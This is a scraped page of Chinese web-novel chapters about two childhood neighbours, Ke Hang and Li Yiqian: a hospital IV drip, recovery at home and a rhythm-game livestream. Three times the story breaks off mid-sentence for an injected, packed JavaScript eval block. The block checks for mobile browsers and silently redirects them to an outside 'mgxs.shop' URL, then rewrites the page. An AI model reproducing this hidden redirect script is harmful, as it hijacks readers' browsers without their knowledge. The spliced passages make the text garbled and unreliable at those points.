“我抱你出去。”李一谦不由分说,弯腰就准备抱他。 柯杭厉声拒绝,“不!我自己走。” 他身心皆疲,这时说出的话听起来也无力。 “你走得动?”李一谦语气冰冷。 十分钟后,李一谦将背上的人放到校医室的沙发上。 量体温,说症状,问有无过敏药物。 柯杭在这学校五年,不是第一次坐这儿,却是第一次以病人的身份坐这儿,这感觉很新奇,但他来不及感慨,因为浑身烫得难受。 路上他无数次想挣脱李一谦,但有心无力,反倒把自己弄得一点儿力气都不剩。 他靠在沙发上迷迷糊糊了好一会儿,才看见李一谦朝他缓缓走来,脸色差得跟欠了他几百万一样。 “校医说要输液。” 柯杭的脑子清醒了不少,声音却依旧沙哑,“什么?” “输完液再回家。”李一谦说。 柯杭想要站起来,被一下摁回去,他瞪李一谦,“那还不如烧死我算了。” 这是李一谦第一次看到柯杭这么虚弱,下一秒就能昏倒一样,他到现在心跳还没平复过来。 他没说话,伸手把柯杭腋下的体温计拿出来,“乖乖的,别动。” 体温计上显示的温度是三十八点八。 李一谦把体温计给医生,问,“医生,他这个不输液可以吗?” 哪知他话一说出口,校医眉头就皱起,“高烧,输液好得快点。” 没说个所以然来,李一谦也懂对方的意思,“嗯,我知道了,谢谢医生,我去那边等您。” 回到小病房,李一谦看见对方一脸烦闷地靠在沙发上,还把防晒衣穿上了,也算是乖乖没动了。 “给我妈打视频。”柯杭掀起眼皮,看了眼李一谦和自己身旁的包。 李一谦不知道他要做什么,但顺从。 把手机从包里给他拿出来,柯杭却没接,偏过头说算了。 于是,李一谦又好脾气地收好手机,他看得出柯杭不开心,却有些不知道该怎么安慰。 在李一谦的记忆中,柯杭好像从没生过什么大病。 柯杭看着生活能力不行,但很爱惜自己身体,手或是眼睛有点儿毛病就会去医院检查开药。 柯杭浑身发冷,察觉到身旁的灼灼目光。 “干嘛?”他蹙眉恶狠狠瞪了一眼身旁的人。 被凶了李一谦也不恼,伸手抓住柯杭的左手,“哥,我在想一个事情。” 被握住的手,指腹有一层薄薄的茧,白皙的皮肤下是清晰的血管,李一谦的指尖滑过青色线条,直到指根。 柯杭受不了这种痒酥酥的触碰,抽回手,骂了句,“神经,什么事。” 等了半天没听到声音,他又看向李一谦,这时李一谦才委屈道:“你以前都让我给你按摩的。” 哦,哦! 按摩啊。 他还以为李一谦发癫呢。 “按按按。”柯杭想把手放回去,谁想李一谦快他一步抓住他的手。 李一谦揉着他的手腕和手指,声音缓缓的:“你的血管很明显,很好扎针,就痛扎针的那一下。” 他又揉了揉变得僵硬的手指,把手重新放回柯杭的腿上。 手脱离李一谦桎梏的一瞬,柯杭就做出抱臂动作,显然很抗拒等会儿要进行的事情。 这时医生也来了,端着个铁盘,走到柯杭面前。 “手。” 柯杭偏过头,还是抱臂的动作。 李一谦过来碰他手的时候,他还使了点劲儿。 不想打针,不想输液。 想到那根针要在他肉里插两三个小时,他就发怵。 李一谦无奈又心疼:“杭哥。” 柯杭松了劲儿,任由李一谦把他手递过去,用右手把帽子戴上后闭上眼。 李一谦知道,这是妥协了,便把他手托起方便校医操作。 柯杭能感觉到校医用胶带勒住他的手腕,又给他的手背消了毒。他忍不住出声提醒:“姐姐,轻点儿。” 校医:“不痛的。” 过了几秒,手背一阵刺痛后,他听到熟悉的撕胶带声。 一只手把他的手托住,慢慢放到了腿上,拍抚着他的背,“好了好了,已经扎完了。” 李一谦止不住地心疼,柯杭紧张的时候下意识抓住了他的手,整只手冰得吓人,像溺水之人抓住救命的浮木,却止不住发抖。 校医调好液体流速,叮嘱了几句就出去了。 柯杭全程除了那句提醒,就没再说过话,手却还没放开他。 两人相握的手出了汗,李一谦从包里翻出纸巾擦拭。 小病房现在就只有他们两个人。 柯杭大半张脸都被防帽檐遮住,李一谦看不清他的眼睛,只能看见瘪起的嘴角,受了天大的委屈一样。 待手心的汗擦干净时,柯杭就抽走了自己的手。 “明天不来。”柯杭声音闷闷的。 刚才校医说,最好是输三天,柯杭没吭声,李一谦也就嗯嗯应付过去了。 李一谦手盖住柯杭左手腕的输液管,问:“明天不退烧怎么办?” “肯定退了,又不严重。”柯杭说。 “好,明天退了就不来了。”李一谦好脾气地问,“画了三小时,累不累?用不用给你捏捏手?” 柯杭没头没脑地说:“冰的,流进里面去了。” “给你捂着呢,过会儿就不冰了。”李一谦说。 柯杭:“哦。” 李一谦把右手伸到李一谦面前摊开,动了动手指:“要不要捏?” 等了两秒,没等到手,等到了柯杭复杂的眼神。 他们俩现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248884|197907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在的姿势很诡异。 李一谦坐在柯杭的左边,他的左手搭在柯杭的左手上,右手压着两人的左臂。 “你不觉得我俩的姿势很诡异?”柯杭问,“是要玩抬花轿吗?” 抬花轿,两个“轿夫”的手交叠握住,好让“新娘”能坐在上面。从小到大他们玩了不超过五次的游戏,主要是李一谦不配合。 由于年龄差异,李一谦在初中前,个子都比他们矮得多,又爱跟着他们到处跑。 有次李一妍在学校看到有人玩这个就想试试,但又不想别人碰她,只好回家拉着弟弟和柯杭试。 那时候李一谦就是个小豆丁,李一妍作为姐姐很快放弃了让弟弟做“轿夫”这个想法。 她叫柯杭配合她,两人抓着手,让“花轿”远离自己胸口,蹲在地上让李一谦快点坐上来。 李一谦刚开始抱姐姐比较紧,结果李一妍为了好玩故意颠他,他只好整个人往柯杭那里偏。 结束后便再也不想玩第二次了。 李一谦讪讪地收回了自己的手。 柯杭一年多没见过李一谦了,难得看他露出这种吃瘪的神情,笑了,用腿碰了他一下,“说啊,是想抬花轿吗?” 李一谦深吸一口气呼出:“我只是想着你画了几小时的画会难受,想给你揉揉。” “这有啥?”柯杭恢复了些劲儿,随口道,“你一年没给我捏我这手不还好好的么?” 柯杭知道,李一谦比他自己还在意这双手。 大一时候,除了上课看展,其余时间几乎都在画室或图书馆,比集训时候的强度都大。 放假回家后,才后知后觉手腕疼,去检查说是腱鞘炎。 柯杭害怕手术打针,转头去了不远的中医院,好在中医说可以不扎针,贴膏药就行,他点点头说没问题的。 他回家刚贴好胶带,李一谦就按了他家门铃,柯杭只好去开门,小孩儿眼睛毒辣,一眼就看见了他的手。 当即就握住他的手问怎么了,解释一番后,李一谦倒是比他这个病人还遵守医嘱,死活不让他画画,他也因为无聊带着李一谦出省溜达了一圈。 那之后,李一谦在时,他都尽量注意画画时间,因为实在是不想再看见李一谦泛红的眼眶了,不知道的还以为自己欺负他了,影响心情。 有两次柯杭发火了,李一谦就默默闭嘴,等柯杭画完后提出给他按摩,放松手腕。 因为凶过李一谦,他觉得愧疚,于是格外顺着李一谦,闭嘴接受了。 反正对他没坏处。 “那你这一年手伤有没有复发?”李一谦把他的左手放到自己腿上,右手从手臂下穿过,握住柯杭的,用合适的力道开始给他按揉穴位。 柯杭挑眉:“心疼?” 李一谦点头。 柯杭心里觉得好笑,面上不显,叹了口气,愁容满面,说的话不知真假:“没人给我捏手,我每次画完手疼死了,一次两次的还能忍着揉一揉,后面太烦了,直接泡热水了。” 忽然想到了什么,柯杭又很受伤地问:“你当时为什么要留下那么有歧义的话,还不找我解释?” 如果没有那张纸那管药,他最多以为自己喝多了找李一谦照顾他,屁股痛也可以有新的理解,哪至于单方面冷战一年。 柯杭始终相信酒后胡言乱语当不得真,一切行为也是不受控的。而且李一谦也说了,是他脑补得多了。 就这么越想越愧疚,所以那天后他对李一谦在以前的基础上更好了些,也不知道李一谦能不能发现。 李一谦觉得自己好冤枉,但对着柯杭的湿润的眼睛,他还是没说出辩解的话:“我的错。” 8. 哪里不一样了 柯杭点点头,“知错能改,善莫大焉。” 这会儿缓过来了,柯杭也不像刚才那么恐惧了,他动动手指挣脱李一谦的桎梏,招招手:“手机,我得在群里发个消息。” 李一谦把手机递到他手中。 柯杭点开置顶的群聊——黄总和她的跟班们。 “手,”他用手机勾了勾李一谦覆在输液管上的手,“我要拍照。” 李一谦依言松开手、 柯杭莫名觉得空气寒冷,迅速拍了张照片发在群里,又指尖点了点李一谦的大腿,意思是可以把手重新放上来了。 [柯三弟]:我,柯老三,以前从不敢想,有朝一日竟会轮落到这种地步。手背上的针像一根刺戳痛了我的身体和我的心灵,以后我再也不会快乐了。 敲完字发送后,又把图片转发到李一妍那里,这下简洁得多:“你弟逼我打针,我很生气,把人领走。” [李一妍]:? 状态栏突然冒出群聊电话,柯杭退出和李一妍的聊天界面,接通了群视频。 他姐的脸出现在屏幕中,看了他两秒,有些可惜地说:“居然没哭?” “你当我几岁?”身旁还有人,柯杭有些挂不住脸,呛回去。 毕竟刚才确实,差点儿哭了,就差一丢丢。 柯蔷问:“发烧了还是怎么的?在吊水?镜头对着手我看看。” 柯杭把手机翻往下一撇,对着自己的手,“看到了吧。”又把镜头对准自己。 “哦哟,稀奇,居然真输液了。”柯蔷惊讶,低头再次邀请其余群成员通话,“得让大家都看看你这模样。” 柯杭有些无语,他们一家子看起来都不太靠谱的样子,那点儿怕针的委屈也被柯蔷的三言两语给磨没了。 “我挂了,不想和你说了。”柯杭焉耷耷的,说话真累。 柯蔷:“不准挂。” 柯杭轻哼一声:“凭什么?” 柯蔷盯着他,单挑眉道:“送你两盒x牌的白颜料。” “您说的是一盒里是多少支?”柯杭恭恭敬敬地问。 柯蔷:“十二?二十四?或者三十六支?太久没给你买过了,我不知道。” 家里人都知道他最害怕打针,小时候打针会哭得撕心裂肺,长大后不会那么夸张了,但也足够让家人心疼。 柯杭知道,这是姐姐安慰的一种方式。 他控制不住地扬起嘴角:“那六种白色我都要。” 说完柯蔷那边回了句:“ok.”又问他,“医院还是学校?” “校医室里。”柯杭努努嘴。 柯蔷:“谁把你请去的?你不会昏倒在学校然后被好心校友热心救助?” 下一秒镜头偏转,对准了李一谦的脸,柯杭碰他胳膊,“叫人。” 李一谦乖巧道:“蔷姐。” “乖。”柯蔷应了一声,然后对自己弟弟说,“手机拿给小谦,我跟他说两句。” 柯杭自动把话转为自己想听的:一直举着手机太累了,把手机拿给李一谦举着。 嗯,很合理。 李一谦也自然将手机接过去,和柯蔷唠了会儿家常。 虽然柯杭不知道他们有什么好聊的。 身旁有李一谦,还有姐姐的声音,柯杭那点儿警惕又消失了,脑袋昏沉起来,索性头往后抵着墙假寐。 耳边的声音模糊起来,不知什么时候真的睡着了。 再次醒来已经是一个多小时后, 柯杭想抬手揉揉眼,结果扯动悬在空中的输液管,皮肉中的针存在感明显起来,眼眶瞬间蓄满了泪水。 “我操。”柯杭一下清醒了,低头看自己手背,没出血,还好。 这时他才注意后背覆上一只手,他扭头看去,是李一谦。李一谦顺着他的背:“没事,就扯了一下,没事的。” 柯杭拍拍自己胸口,深呼吸道:“吓死我了。” “你也吓死我了。”李一谦幽幽道。 他正在标记视频的节点,准备回去用电脑剪辑。柯杭一动他就发现了,一句话更是将他从手机里拉回来。 柯杭也有些不好意思,用手挠挠脸,垂眸看向李一谦的手机屏幕,问:“你干嘛呢?” “兼职,帮我姐剪新视频。” “多少钱?” “大概无分钟,她给我两千左右。” 柯杭:“哦。”亲情价啊。 他们两家都不缺钱,但每个孩子好像又格外自立,不会等着家里给,而是自己想办法赚点。 像他高中开始接稿赚零花钱,李一妍也差不多那个时候开始做自媒体。 柯杭睡了一觉,感觉脑袋都清晰了不少,忽然想起,他还没问过李一谦报的什么专业。 这么想着他也这么问了。 李一谦眼中显然有些诧异,像是没想到他会这么问一样。 “机械工程。”李一谦说,“A大的。” 柯杭点头:“嗯,我知道。” 李一谦读的重点中学本科率99%,他的成绩在年级也是数一数二的,应该没什么大问题。 A大在本市里有两个校区,一个市中心,一个市郊,美院在市郊。 忽然想到什么,柯杭问:“你那个专业在哪个校区?” “就在这里面。”李一谦乖巧道。 柯杭:“?” 李一谦:^v^ 柯杭啧啧道:“要不是这个专业不好进,我都以为你是为了来蹭住选的专业了。”他又问,“有同学和你一起报A市的学校吗?” “你那几个朋友报的哪儿?” 李一谦问:“哪个?” 柯杭想了想,说:“你们□□那几个,我只记得那个女生叫小羽毛。” “嗯,那两个男生呢?” “一个寸头,姓舒,还有个火箭头,什么清扬。” 李一谦笑了:“你怎么记得吕轻扬的名儿?” “你觉得我记性很差?”柯杭眯起眼审视他。 李一谦立马摇头说“没有”。 柯杭回忆了一下,突然乐了:“你还记不记得之前他考砸了不想回家,缠着你,你就问我能不能带着他。” “嗯?”李一谦下意识应了声,但不太记得这件事了。 “当时我放假了嘛,在校门口等你放学,想接你去玩,他就一直跟着。天气热,我给你们买了饮料,他拿了那瓶雪碧。” 李一谦目光一凝:“我想起来了。” 当时柯杭手里只有两瓶饮料,显然没有吕轻扬的份 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248885|197907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。因为吕轻扬的加入,柯杭把自己的给了他。 “我印象特深,当时他拿着那瓶雪碧,”柯杭还是笑眯眯的,抬起一只手放在鬓侧,模仿记忆中吕轻扬的动作:“说:’透心凉,心飞扬,谢谢哥,我叫吕轻扬’,但后面没怎么见过他了,原来姓吕啊。” 李一谦点点头,眼前笑容和那年夏天重合起来。 柯杭给饮料给的自然,吕轻扬接的自然,吕轻扬自我介绍,柯杭笑,笑得很好看。 “几点了?”柯杭单手伸了个懒腰。 李一谦瞥了眼手机:“一点半了。”又抬头看液体袋,基本流完了。 “我去叫校医来拔针。” 柯杭的笑僵了一瞬:“好。” 房间里没有空调,只开了窗通风,外面艳阳高照,一缕清风钻进窗户,贴向柯杭的脖颈。 他捂住脖子,看向门外的人。 校医这次除了医用棉签什么都没拿,拔针的时候握住他的手,他想缩又不太好意思,又闭眼偏头不看。 “嘶——” 校医:“好了,明天记得再来。” 柯杭一脸懵:“?” “好的医生,明天要是没退烧的话我们会来的。”李一谦接过话。 走出医务室,柯杭小声哔哔:“明天不来。” “不来。” “真的不来?骗人是狗。” 李一谦挎着柯杭的画包,又从自己的包里翻出一把伞撑在两人头顶:“真的,骗人是小狗。” 柯杭满意了,挂在李一谦身上,踏着虚浮的步伐往外走。 “车在教学楼背后,你坐这儿等我。”走到树荫下的长椅时,李一谦反手拍了拍他。 柯杭正好懒得走,便应了声,一屁股坐在长椅上瘫着,摆摆手。 “那我去了。”李一谦提起柯杭一只胳膊,把伞塞进去卡住,又把胳膊放回原位。 李一谦渐渐远去,斑驳的叶影落在他身上,生动万分。 真乖,柯杭再一次在心里表扬李一谦。 不知道从什么时候开始,他们的身份像转变了一样。明明他是年长的那个,却是李一谦处处照顾他。 柯杭叹了口气,难得有些迷茫。 他们看似说开了,实际上却没有。 那天向李一谦表明性取向后,李一谦反而有些激进地想展示自己。柯杭平时是有些小自恋,觉得自己宇宙无敌帅,画画又贼他妈好。 但从小看着长大的弟弟可能喜欢他这件事,他不愿意去想那么多。 玩笑也好,真情实意也罢。 只要他把自己的线守住就行。 同性恋虽被大半人接受,但也没常见到和异性恋相比的地步,正常家庭乐得所见的应该是孩子结婚生子吧,而不是和不能结婚的同性一起。 柯杭是家里最小的孩子,比哥哥姐姐更自由,也更幸福些。 在家出柜的时候,爸妈倒没说什么,只要他喜欢就行。 他想起自己小时候皮得很,又爱闹,后来开始画画后才好一些。再后来,认识了李一妍,身后慢慢多了个跟屁虫,有了点做哥哥的样子,或是说长大了些。 柯杭举起手,从指缝间看天上的太阳。 “从小看着长大的啊。”他喃喃道。 9. 木可可 柯杭养了两天病,被李一谦勒令不准出门。 在家这两天,他犯懒,不是躺床就是躺沙发。天气热起来,他晚上要开空调,李一谦不让他开18度,怕晚上蹬被子着凉又重新烧起来。 A市的天很干,柯杭空调吹频繁了就会流鼻血。他没当回事儿,多喝点水就行了,李一谦却端了盆水放在角落。 柯杭有些心软,问李一谦要不要和自己睡,李一谦真答应,他又觉得尴尬了。不过两天睡下来,效果不错。 第一晚他复烧一次,迷迷糊糊间知道有人给他擦拭酒精,醒后被子还在自己身上,床头柜上有水解渴,出房间有午饭吃。 第二晚睡了个好觉。 这两天睡得多,睡饱了,醒得也早。 外面的太阳已经升起,阳光透过不太遮光的窗帘,将房间照亮大半。 柯杭是有赖床习惯的,他捞起枕边的手机看了眼时间,才六点半。翻了个身,发现李一谦还睡在旁边。 他的动静不算大,但李一谦的呼吸声快了不少,眼睛还闭着,手却已经伸向他。 柯杭连忙闭上双眼。 温热的掌心贴在他的额头上,又移到他的后背摸了摸,往下找到蹭落到腰间的凉被,拉到柯杭的肩头盖好。 柯杭睁开一只眼睛,发现李一谦似乎没醒,好像这些只是下意识、习惯性的动作而已。 可能是太困了,李一谦的手并没有从他背上拿开。哪怕隔着一床凉被,时间一久,他也能感受到手掌的温度。 这样的姿势有些暧昧,但他好像没办法动,怕把李一谦弄醒。没办法再起床了,李一谦的睡眠质量没他好,这点动静,李一谦会醒的。 柯杭思忖了会儿,重新闭上眼。 闭目养神。 今天本来准备去工作室讨论暑假写生地点的,现在还这么早,不着急去了,反正肯定没人。 柯杭睡眠充足且自然醒的时候,很难再次入睡,简单来说,就是睡够了。 难得一天没课没考试没工作,索性不管了。空调不停歇运转,呼呼声是很好的白噪音。 不知过了多久,李一谦好像朝他贴过来了一些,柯杭也懒得动,一直迷迷糊糊直到对方起床。 李一谦醒来时,看见眼前一幕怔愣了很久。柯杭面朝他睡得正熟,他的胳膊环着柯杭,看起来像一对相拥而眠的恋人。 从柯杭上大学后,李一谦就很少在他家留宿了或是一块儿睡了。这样的时刻也很少,因为柯杭总是背对着他。 他静静看了一会儿后,才凑上前用额头抵住对方的。 没有他的温度高。 完全退烧了。 李一谦身子朝后靠,轻轻抬起手准备起床。 他知道柯杭睡眠好,只要不是大吵大闹就不会吵醒对方,但他还是下意识放轻了动作。 李一谦出卧室后带上了门,溜进了卫生间。 休闲裤被撑起一个弧度,他神色如常地洗脸刷牙,做完这些后,复又低头看了一眼。 最后冲了个凉水澡。 早饭吃的昨晚放电饭煲里定时的小米粥,他刚进厨房发现柯杭竟然也起床了,有些诧异,“哥,怎么就醒了?”他招呼对方过来吃饭。 “睡够了。”柯杭拉开椅子,坐在餐桌前。 李一谦就端着电饭煲内胆过来放下,又折回拿了两幅碗筷和小菜。 柯杭主动说起今天要做的事情:“我过会儿要去工作室,跟大家商量暑假写生的地点。” “很远吗?”李一谦问。 “呃,不太清楚,因为不知道最终目的地。”柯杭伸出一只手,“G省凉快风景好,X省海拔高但建筑很有特点,或是H市的水景……”每说一个地方,他就折掉一根手指。 李一谦看着他:“好。” 这回答倒是让柯杭愣了一下,还以为李一谦会问自己怎么安排他的。 李一谦低头喝着粥,浓密的眼睫遮住他的双眼,让人不知道他在想什么。 犹豫片刻,柯杭还是问:“我如果出去一两个星期,你自己呆家里行么?”又觉得这话把人说的太低龄了,补充道,“黄姐让我多带你出去玩,但写生你也知道的,就坐那儿不怎么动,有些无聊。” 待他说完话,李一谦才抬眸看他:“哥,你愿意带我去吗?” “主要是无聊啊,说不定蚊子还多。”柯杭把李一谦从头到尾看了一眼,“你这么白晒黑了可惜。” “你喜欢皮肤白的?” “不,我喜欢帅的。” “我帅吗哥?” 柯杭笑嘻嘻的:“帅,再帅也是小屁孩儿。” “哦。”李一谦戳戳碗里的粥,看起来很低气压,“我已经成年了,不是小孩子了。” 柯杭点头:“嗯嗯,不是小孩儿了。”他用筷子敲敲碗沿,“我去写生那几天,你准备做什么?” 他三下五除二将粥喝完,李一谦自然地接过他的碗盛了半碗粥。 “你方便的话我就跟着你,不方便的话我就在家呆着。”李一谦说,“但我晚上要睡你房间吹空调。” A市的天确实热,吃个早饭的时间都能起一层汗。 柯杭端着碗筷去厨房,路过李一谦的时候揉了一把对方的脑袋,喃喃:“到时候再说吧。” “不再吃点?”李一谦扭头问。 柯杭无语:“你给我添两次粥了大哥,当养猪呢?” 李一谦收拾好碗筷两大步追过去,“那你什么时候去工作室?” 他来这么久还没跟柯杭去过工作室看过,他姐都去过。 “太阳落山了去,不然太热了。” “那等会儿做什么?” 柯杭忽然想起什么,停下洗碗的手:“今天周几了啊?” 李一谦很快回答:“周六。” “我靠。”柯杭骂了句脏话。 李一谦看他一脸烦躁,担心道:“怎么了?” “我今天得直播。”柯杭一脸苦色。 柯杭从高中到现在,在社交平台上已经有了不少粉丝。他和粉丝的关系不错,经常有抽奖活动。 之前他的大粉在群里让他多撒点福利,他以为是多点作品,答应了,结果大粉说:“可可啊,我是说40w直播,50w露脸,60w固定直播时间这种。” 柯杭圈名木可可,最开始大家都以为他是女生,直到直播时他回答粉丝问题,一开口评论区乱成一团。 [淦,宝宝你声音怎么那么中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248886|197907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 性。] [我以为可可是老婆,没想到是男老婆……?/捂脸] [啊啊啊啊啊啊] 柯杭看见了有些不服:“我性别那里不是男的吗?为什么会觉得我是女生?” 总之……那之后,这群可爱的女孩子仿佛更生动了些。 他画入迷时不会想起来要说话,粉丝们也不怪他,专心看他下笔如有神。 上个月粉丝数量达到了60w,大粉拿着两张截图来找他定直播时间,早完成早躺平。所以挑了下个月的第一个周六,后面的时间再协商。 李一谦问接过他递过来的碗擦干,放到一旁的置物架:“直播画画吗?” “嗯,应该是。”柯杭故意拿手肘拐他,“可以画吧?” 李一谦觉得好笑:“你会听我的?” 可能是发烧导致身体抵抗力下降,柯杭的手腕也疼起来,连着两天李一谦都不让他画画,虽然他也不一定画得动。 “听啊。”柯杭坦然:“如果你不用可怜巴巴的眼神看着我,那种我只要说一个’不’字马上就哭出来的表情,我就不听了。” “我知道了,下次我就这样。” 柯杭把灶台擦干净,洗好手给了李一谦胳膊一巴掌:“美得你。” “痛。”李一谦控诉。 柯杭一只脚已经踏出厨房,又缩了回来,靠到李一谦身边,搓了搓他的手臂,嘴里念着:“不痛不痛,不痛啊。”念完又拍了两下,“行了,别娇气,都没使劲儿。” 早上九点,天光大亮,天蓝澄澄的,柯杭站在阳台前眺望远处街道。傍晚的风景更好一些,早上阳光落在建筑物上映出的光影也很好看。 他伸着懒腰回了房间,拿出直播设备,一个超长手机支架,和平板。 坐在椅子上,发现手机没拿,可他已经找到了个最舒服的姿势,遂喊道:“李二谦!” 李一谦就在沙发上坐着:“什么忘拿了?” “手机。”他说,“应该在枕头边上。” 李一谦很快把手机给他拿来,“我帮你?” “行。” 阳台上有个画架,收纳架上放着他的各种笔和画纸,架子旁边是一个不规则云朵小桌,刚好够他放手。 他连人带椅往后挪,把云朵小桌拉到面前,放上平板。 “你平板上画直接在平板上开不就行了吗?”李一谦架好手机,有些看不懂柯杭的操作。 柯杭:“谁说我要画画了。” 李一谦:那谁说的? “我给大家展示一下我的游戏技术。”柯杭露出一抹笑,“帮我改下直播简介,“不想完美演奏的节奏大师不是好画家。” 李一谦不懂,但照做,边给他调镜头边问:“完美演奏?” “嗯。镜头对准我的平板,我先玩会儿再画。” 柯杭打开平板,点进一个游戏进入,很快,游戏界面左边出现一个黑皮挑染帅哥。 “开了没?”柯杭边操作游戏边说,“我先把每日挑战打了,二谦你帮我把直播分享到粉丝群里……有人进来没?” “有,但只有几十个。” “正常,暑假的周六,睡觉才是正常的。”他嘀嘀咕咕,“反正我播了。” 10. 过来和我四手联弹 柯杭玩的是一款十多年的老音游。 他仰头看了眼李一谦:“我跟你说,我前段时间刚下载的时候,它居然欢迎我回归。” 李一谦将镜头对准平板,让直播间的人能够看见游戏全景,刻意不露出柯杭的脸:“以前玩过?” 柯杭点进一个板块,开始挑战:“没吧,我没什么印象。” 把两只手的食指和中指对准四个键位后,柯杭继续:“我一进去就有个回归信,说亲爱的玩家,你已在游戏中度过四千多天,旁边又写着我一二年的五月就有这个号了。” “天呐,十三年了,我都怀疑它诈我。” 李一谦看着他的直播界面,念评论:“可可今天要画画吗?” 柯杭神情专注,手指在屏幕上飞舞:“画,打会儿游戏活动活动手再画。”说话的时间,他不小心漏掉了一个长条音块儿,他啊啊啊几声:“天杀的,我最讨厌绿色音条了。” “这不还在连击么。”李一谦看着他说。 柯杭:“因为我之前充钱了。” “升了技能,可以失误很多次。” “也可以买道具,但我不能接受我这么菜。” 李一谦:“……” 柯杭的胜负欲很强,这一点李一谦清楚得不能再清楚了。 他们以前玩双人游戏,如果是对战类的,像拳皇,那么只有柯杭赢了才可以换下一个游戏。如果是合作类,就得把很难的关卡通关后才让李一谦回家。 打不过的时候带着李一谦翻攻略,不停死了复活死了复活,总会通关总会刷新记录。 幸好李一谦聪明,游戏技术也不赖,还不会和柯杭抢数字键位。李一妍曾经因为菜还不愿意玩数字键位,被柯杭赶去独自享玩平板。 [脸呢?] [说好的露脸直播呢?] …… [脸呢+10086] “哥,要露脸吗?”李一谦轻声问。 柯杭平板声音开的很大:“什么?” 李一谦重复刚才的画:“他们想让你露脸。” “你没拍着我啊?”柯杭正在死磕一首九级难度的歌曲,头也没抬,“不,画画露。” 过了几秒柯杭才又说,“我玩这个的时候面目肯定——很狰狞,别把我的脸照进去。” 曲子一首接一首,李一谦充当助播,坐在一旁给柯杭念评论互动。 [帮念评论的小哥哥是谁呀?] [朋友来玩?可可之前说自己一个人住,等等!现在是早上九点…!!] [这么早出现在单身男性家里的男性能是什么“朋友”?] [之前可可说过画画的时候不喜欢别人打扰,那这位小哥是?] [对象能算“别人”?] 眼看评论区快乱成一锅粥,李一谦有些无奈又好笑,小声说:“不是对象——” 如果是对象的话…… 他目光缱绻而温柔,像一个个吻落在柯杭侧脸。 视线重新回到手机上,想了想说,“我们是邻居,从小一起长大。” 他说这句其实有很大的私心,柯杭总是自己是被他看着长大的,就像刻意拉大了两人之间的差距。 可是他们曾经也经常一起打游戏一起出去玩,和同龄人没什么区别。 所以李一谦并不认同柯杭的说法。 [wow,更好磕了,竹马竹马!] [小哥哥露个脸!] [腐眼看人基,就不能磕cb向吗!] 李一谦心虚地看向柯杭,对方似乎没发现他说了什么。 很好,他杭哥已经入迷了。 直播间左上角显示的主播名称是:木可可。 李一谦无声地念了一遍后,摸出自己的手机点进微信置顶修改备注。 柯杭一局终了,停下了手上的动作,抬头盯着手机前的李一谦看:“你刚说什么?” “……没什么。” [哇,这是什么不能说的吗?] [看上去像是心虚了!一起长大是什么禁词?] “我听到了。”柯杭目光幽幽,举起手,伸出食指和中指,“两点。” 他蜷起中指,伸着食指,说:“第一,我俩一起长大是没错,但主要是我看着你长大。” “……” “第二,”柯杭比了个耶,“我打不过这关,过来和我四手联弹。” 李一谦:“好。” 柯杭把板凳往边上挪了挪,屏幕中露出他的下半张脸,李一谦调整好镜头后,把板凳抬到他旁边。 音游可以自己选择音块进场速度,把速度调慢点,柯杭的难关也不是不能过。 但他嫌太慢了,还拿不到S级。 不求双S,但求上S。 一个人可能顾不了四条路,但两条路总归是没问题的,他们现在可是有两个人。 等李一谦坐好后,柯杭拍拍他的肩膀,任重而道远:“加油,我的好伙伴,拿下S。” “好。” 李一谦坐过来后,直播间就只有房管控场。 他们谁也没去关注源源不断的评论。 [wc,这手好有性张力。] [比可可的手大一点,还白一点,哦莫,可可的手真是黑白不均] [ps:可可的手是端午和朋友去玩晒的,抛开黑的部分还是挺白的!!!] 柯杭没见李一谦玩过这类游戏,有些担心对方能否胜任,于是耐心教学:“你刚看我玩你应该会了吧?就是绿色长条要注意一些,其他直接点就行。” “嗯,应该会。” “我们要拿S,至少不能漏掉,不漏音块儿再加上我的技能buff有65%的几率得SS。” “……”李一谦确实没玩过音游,最多玩过一个钢琴块儿,柯杭的耳提面命让他有些怀疑自己能否真的做到不失误,于是:“要不我们试玩一把先?” 柯杭直勾勾看着李一谦:“看我眼睛。” 李一谦看了。 “哥信你。”柯杭予以厚望,眼含鼓励。 李一谦庄严点头:“我们一定可以——”他盯着柯杭的手看,“等会儿……” “等我一下。” 李一谦边说边起身,留给柯杭一个背影,他借机伸了个懒腰,大声道:“干嘛啊你?”然后手顺势捞过一旁的手机看直播间的评论。 [可可!!!!看看妈妈!!!] [老实交代!和那个白皮小哥什么关系!] [过会儿画什么?芒夏的贺图还是随便摸摸鱼?好久没看你画水彩了可可!] 直播间人数逐渐增多,评论也多了起来,柯杭挑了几个眼熟的ID回答:“看见了看见了好妹妹,别当妈妈粉,我妈看了会找我茬。” 